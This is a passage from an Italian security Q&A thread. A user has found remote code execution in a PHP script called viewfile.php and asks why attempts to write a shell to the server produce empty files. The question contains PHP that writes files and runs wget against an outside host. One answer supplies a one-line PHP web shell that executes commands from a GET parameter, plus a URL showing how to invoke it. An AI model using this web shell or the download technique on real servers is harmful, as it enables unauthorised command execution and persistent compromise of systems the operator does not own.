RCE in uno script PHP che non ha permessi di scrittura

1

Quindi ho trovato una vulnerabilità RCE in uno script PHP (è in un file chiamato viewfile.php ). Fondamentalmente, da questo file posso eseguire qualsiasi codice PHP, ad esempio, <?php echo phpinfo(); ?> visualizza phpinfo e anche <?php echo "Test"; ?> funziona.

Volevo vedere se potevo caricare una shell da questa vulnerabilità RCE, quindi prima ho deciso di testare per essere sicuro di poter caricare i file. Ecco cosa ho provato:

<?php
$fp = fopen('test.txt', 'w');
fwrite($fp, 'Text in test.txt');
fclose($fp);
?>

e

<?php $output = exec('wget http://mywebsite.com/textfile.txt -O test.txt'); echo $output; ?>

Entrambi gli esempi sopra hanno creato un file test.txt ma entrambi i file erano vuoti, il che significa che se dovessi provare questo con una shell, non funzionerebbe (sarebbe anche solo un file vuoto). Questo significa che si può presumere che la directory in cui ho cercato di caricare i file non abbia i permessi di scrittura? Se non avesse i permessi di scrittura, è questo il comportamento che ci si aspetterebbe? (il file viene creato ma non viene scritto nulla)

    
posta BotHam 08.07.2016 - 23:16
fonte

2 risposte

1

A seconda della configurazione del server Web, potresti avere o meno la possibilità di ottenere una shell interattiva e regolare. Detto questo, puoi già eseguire comandi php arbitrari. Quindi, perché non carichi un file contenente:

<?php echo shell_exec($_GET['cmd']);?>

Quindi puoi facilmente passare qualsiasi comando tu voglia:

http://example.com/viewfile.php?file=myupload.php&cmd=ifconfig
    
risposta data 07.11.2016 - 01:33
fonte
0

Un modo per aggirare questo sarebbe scrivere il file che vuoi direttamente da PHP invece di invocare una shell e un binario (che potrebbe non essere installato su questo server, o qualcosa del genere, forse un firewall sta impedendo a wget di funzionare ).

Inoltre, non sono sicuro di come un file PHP possa avere permessi di scrittura. Le autorizzazioni vengono generalmente applicate alla directory in cui si desidera scaricare il file e utilizzare il processo "utente e gruppo" per determinare se è possibile scrivere lì. Per i binari eseguiti direttamente, è possibile che gli attributi suid / sgid siano impostati su quel file per sovrascrivere l'utente / gruppo del chiamante con quello nell'attributo, ma tali attributi non hanno effetto sui file PHP.

    
risposta data 08.07.2016 - 23:24
fonte

Leggi altre domande sui tag